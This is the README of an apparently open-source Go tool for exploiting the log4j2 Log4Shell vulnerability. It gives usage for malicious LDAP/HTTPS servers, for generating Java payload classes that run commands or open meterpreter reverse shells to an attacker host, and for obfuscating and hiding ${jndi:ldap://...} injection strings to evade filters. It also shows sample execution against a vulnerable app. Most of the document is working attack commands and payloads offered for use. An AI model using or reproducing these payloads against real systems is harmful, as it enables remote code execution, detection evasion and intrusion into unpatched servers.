log4shell

Log4Shell

Check, exploit, generate class, obfuscate, TLS, ACME about log4j2 vulnerability in one Go program.

Feature

• Only one program and easy deployment
• Support common operating systems
• Support multi Java class files
• Support LDAPS and HTTPS server
• Support ACME to sign certificate
• Generate class without Java compiler
• Support obfuscate malicious(payload)
• Hide malicious(payload) string
• Add secret to protect HTTP server
• Add token to fix repeat execute payload

Usage

Start Log4Shell server

• Log4Shell.exe -host "1.1.1.1"
• Log4Shell.exe -host "example.com"

Start Log4Shell server with TLS

• Log4Shell.exe -host "example.com" -tls-server -tls-cert "cert.pem" -tls-key "key.pem"
• Log4Shell.exe -host "1.1.1.1" -tls-server -tls-cert "cert.pem" -tls-key "key.pem" (need IP SANs)

Start Log4Shell server with ACME

• Log4Shell.exe -host "example.com" -auto-cert (must use domain name)

Generate Java class file

Execute(no output):
  Log4Shell.exe -gen "execute" -args "-cmd calc" -class "Test"

System(with output):
  Log4Shell.exe -gen "system" -args "-bin cmd -args \"/c net user\"" -class "Test"

ReverseTCP(java/meterpreter/reverse_tcp):      // template will be open source after some time
  Log4Shell.exe -gen "reverse_tcp" -args "-lhost 1.1.1.1 -lport 9979" -class "Test"

ReverseHTTPS(java/meterpreter/reverse_https):  // template will be open source after some time
  Log4Shell.exe -gen "reverse_https" -args "-lhost 1.1.1.1 -lport 8443 -luri test" -class "Test"  

The generated class file will be saved to the payload directory(can set output flag)

Obfuscate malicious(payload) string

Log4Shell.exe -obf "${jndi:ldap://1.1.1.1:3890/Calc}"

raw: ${jndi:ldap://1.1.1.1:3890/Calc$cz3z]Y_pWxAoLPWh}

${zrch-Q(NGyN-yLkV:-}${j${sm:Eq9QDZ8-xEv54:-ndi}${GLX-MZK13n78y:GW2pQ:-:l}${ckX:2@BH[)]Tmw:a(:-
da}${W(d:KSR)ky3:bv78UX2R-5MV:-p:/}/1.${)U:W9y=N:-}${i9yX1[:Z[Ve2=IkT=Z-96:-1.1}${[W*W:w@q.tjyo
@-vL7thi26dIeB-HxjP:-.1}:38${Mh:n341x.Xl2L-8rHEeTW*=-lTNkvo:-90/}${sx3-9GTRv:-Cal}c$c${HR-ewA.m
Q:g6@jJ:-z}3z${uY)u:7S2)P4ihH:M_S8fanL@AeX-PrW:-]}${S5D4[:qXhUBruo-QMr$1Bd-.=BmV:-}${_wjS:BIY0s
:-Y_}p${SBKv-d9$5:-}Wx${Im:ajtV:-}AoL${=6wx-_HRvJK:-P}W${cR.1-lt3$R6R]x7-LomGH90)gAZ:NmYJx:-}h}

Each string can only be used once, or wait 20 seconds.

When obfuscate malicious(payload) string, log4j2 package will repeat execute it, the number of
repetitions is equal the number of occurrences about string "${". The LDAP server add a simple
token mechanism for prevent it. 

Hide malicious(payload) string

Log4Shell.exe -obf "${jndi:ldap://127.0.0.1:3890/Calc}" -hide

raw: ${jndi:ldap://127.0.0.1:3890/Calc$YG=.z[.od7rH0XpE}

Execute VulApp:

E:\OneDrive\Projects\Golang\GitHub\Log4Shell\vulapp\jar>D:\Java\jdk1.8.0_121\bin\java -jar 
vulapp.jar ${j${0395i1-WV[nM-Pv:-nd}i${KoxnAt-KVA6T4:Xggnr:-}:${vlt0_:xTI:-}${kMe=A:QD3FK:
-l}d${SaS-TmMt:-a}${uQH-oRFIXtw-4[:-}p:${XL9-bkp9k]-xz:-//}12${D@-rF@wGm:-7.0}.${Fuc:SCV6B
m:-}${W1eelS:1jnUDknTJS:*7aHahf2m:vK:-0.1}${ft:4Zbf5Hf1G:Tskg:-:3}${6WH[wc:Fencc:-8}${24Y:
5h=5SqK-p(X9:-9}${oYCk6-RDIN5a$Od:U]3iOEVv:7MiEj:-0/C}${NzvB:]6T9$_O9-F.IUl-NnZq:-a}lc$YG=
${*E-5M:-.z[}${N_9@-6(l0sy-b(6.6t-y7NC*:-}${0i-4eS4kB:-.}${5WnL-LKTO554q-x[d:-od7}rH0$${oC
:.XYPyzv6-sPH.]*Ls:$@Q:-XpE}}
${j${0395i1-WV[nM-Pv:-nd}i${KoxnAt-KVA6T4:Xggnr:-}:${vlt0_:xTI:-}${kMe=A:QD3FK:-l}d${SaS-T
mMt:-a}${uQH-oRFIXtw-4[:-}p:${XL9-bkp9k]-xz:-//}12${D@-rF@wGm:-7.0}.${Fuc:SCV6Bm:-}${W1eel
S:1jnUDknTJS:*7aHahf2m:vK:-0.1}${ft:4Zbf5Hf1G:Tskg:-:3}${6WH[wc:Fencc:-8}${24Y:5h=5SqK-p(X
9:-9}${oYCk6-RDIN5a$Od:U]3iOEVv:7MiEj:-0/C}${NzvB:]6T9$_O9-F.IUl-NnZq:-a}lc$YG=${*E-5M:-.z
[}${N_9@-6(l0sy-b(6.6t-y7NC*:-}${0i-4eS4kB:-.}${5WnL-LKTO554q-x[d:-od7}rH0$${oC:.XYPyzv6-s
PH.]*Ls:$@Q:-XpE}}
15:49:14.676 [main] ERROR log4j - XpE}

E:\OneDrive\Projects\Golang\GitHub\Log4Shell\vulapp\jar>

The Logger will only record a part of raw string "15:49:14.676 [main] ERROR log4j - XpE}",
and repeat execute will not appear(I don't know why this happened).

Check

• start Log4Shell server
• send ${jndi:ldap://1.1.1.1:3890/Nop}
• send ${jndi:ldaps://example.com:3890/Nop} with TLS

Exploit

• start Log4Shell server
• put your class file to the payload directory
• send ${jndi:ldap://1.1.1.1:3890/Meterpreter}
• send ${jndi:ldaps://example.com:3890/Meterpreter} with TLS
• meterpreter will open source after some time

VulApp

• VulApp is a vulnerable Java program that use log4j2 package.
• You can use it for develop this project easily.
• java -jar vulapp.jar ${jndi:ldap://127.0.0.1:3890/Calc}

Help

:::      ::::::::   ::::::::      :::     ::::::::  :::    ::: :::::::::: :::      :::
:+:     :+:    :+: :+:    :+:    :+:     :+:    :+: :+:    :+: :+:        :+:      :+:
+:+     +:+    +:+ +:+          +:+ +:+  +:+        +:+    +:+ +:+        +:+      +:+
+#+     +#+    +:+ :#:         +#+  +:+  +#++:++#++ +#++:++#++ +#++:++#   +#+      +#+
+#+     +#+    +#+ +#+   +#+# +#+#+#+#+#+       +#+ +#+    +#+ +#+        +#+      +#+
#+#     #+#    #+# #+#    #+#       #+#  #+#    #+# #+#    #+# #+#        #+#      #+#
######## ########   ########        ###   ########  ###    ### ########## ######## ########

                                                      https://github.com/For-ACGN/Log4Shell

Usage of Log4Shell.exe:
-args string
      arguments about generate Java class file
-auto-cert
      use ACME client to sign certificate automatically
-class string
      specify the new class name
-gen string
      generate Java class file with template name
-hide
      hide obfuscated malicious(payload) string in log4j2
-host string
      server IP address or domain name (default "127.0.0.1")
-http-addr string
      http server address (default ":8080")
-http-net string
      http server network (default "tcp")
-ldap-addr string
      ldap server address (default ":3890")
-ldap-net string
      ldap server network (default "tcp")
-no-token
      not add random token when use obfuscate
-obf string
      obfuscate malicious(payload) string
-output string
      generated Java class file output path
-payload string
      payload(java class) directory (default "payload")
-tls-cert string
      tls certificate file path (default "cert.pem")
-tls-key string
      tls private key file path (default "key.pem")
-tls-server
      enable ldaps and https server

Screenshot